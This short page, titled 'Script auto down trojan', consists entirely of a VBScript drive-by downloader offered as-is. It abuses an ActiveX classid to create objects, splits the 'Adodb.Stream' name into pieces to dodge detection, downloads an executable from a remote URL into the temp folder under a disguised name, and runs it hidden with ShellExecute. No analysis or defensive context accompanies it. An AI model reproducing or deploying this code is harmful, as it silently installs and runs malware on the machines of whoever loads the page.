Script auto down trojan

<script language="VBScript">on error resume nextdl = "http://link.com/logo.exe"Set df = document.createElement("object")df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"str="Microsoft.XMLHTTP"Set x = df.CreateObject(str,"")a1="Ado"a2="db."a3="Str"a4="eam"str1=a1&a2&a3&a4str5=str1set S = df.createobject(str5,"")S.type = 1str6="GET"x.Open str6, dl, Falsex.Sendfname1="bl4ck.com"set F = df.createobject("Scripting.FileSystemObject","")set tmp = F.GetSpecialFolder(2)fname1= F.BuildPath(tmp,fname1)S.openS.write x.responseBodyS.savetofile fname1,2S.closeset Q = df.createobject("Shell.Application","")Q.ShellExecute fname1,"","","open",0</script>